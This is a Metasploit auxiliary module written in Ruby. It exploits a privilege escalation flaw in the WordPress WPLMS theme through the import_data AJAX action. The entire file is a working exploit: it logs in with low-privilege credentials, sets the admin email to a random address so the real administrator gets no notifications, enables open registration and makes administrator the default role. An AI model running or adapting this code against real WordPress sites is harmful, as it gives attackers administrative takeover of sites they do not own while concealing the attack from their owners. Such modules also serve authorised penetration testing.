126 lines
4.1 KiB
Ruby
126 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HTTP::Wordpress
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'WordPress WPLMS Theme Privilege Escalation',
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'Description' => %q{
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The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an
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authenticated user of any user level to set any system option due to a lack of
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validation in the import_data function of /includes/func.php.
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The module first changes the admin e-mail address to prevent any
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notifications being sent to the actual administrator during the attack,
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re-enables user registration in case it has been disabled and sets the default
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role to be administrator. This will allow for the user to create a new account
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with admin privileges via the default registration page found at
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/wp-login.php?action=register.
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},
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'Author' =>
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[
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'Evex', # Vulnerability discovery
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'Rob Carr <rob[at]rastating.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['WPVDB', '7785']
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],
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'DisclosureDate' => 'Feb 09 2015'
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))
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register_options(
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[
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OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
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OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
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], self.class)
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end
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def check
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check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def php_serialize(value)
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# Only strings and numbers are required by this module
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case value
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when String, Symbol
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"s:#{value.bytesize}:\"#{value}\";"
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when Fixnum
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"i:#{value};"
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end
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end
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def serialize_and_encode(value)
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serialized_value = php_serialize(value)
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unless serialized_value.nil?
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Rex::Text.encode_base64(serialized_value)
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end
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end
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def set_wp_option(name, value, cookie)
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encoded_value = serialize_and_encode(value)
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if encoded_value.nil?
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vprint_error("Failed to serialize #{value}.")
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else
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => wordpress_url_admin_ajax,
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'vars_get' => { 'action' => 'import_data' },
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'vars_post' => { 'name' => name, 'code' => encoded_value },
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'cookie' => cookie
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)
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if res.nil?
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vprint_error("No response from the target.")
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else
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vprint_warning("Server responded with status code #{res.code}") if res.code != 200
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end
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return res
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end
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end
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def run
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print_status("Authenticating with WordPress using #{username}:#{password}...")
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cookie = wordpress_login(username, password)
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fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
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print_good("Authenticated with WordPress")
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new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
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print_status("Changing admin e-mail address to #{new_email}...")
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if set_wp_option('admin_email', new_email, cookie).nil?
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fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
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end
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print_status("Enabling user registrations...")
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if set_wp_option('users_can_register', 1, cookie).nil?
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fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
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end
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print_status("Setting the default user role...")
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if set_wp_option('default_role', 'administrator', cookie).nil?
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fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
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end
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register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
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print_good("Privilege escalation complete")
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print_good("Create a new account at #{register_url} to gain admin access.")
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end
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end
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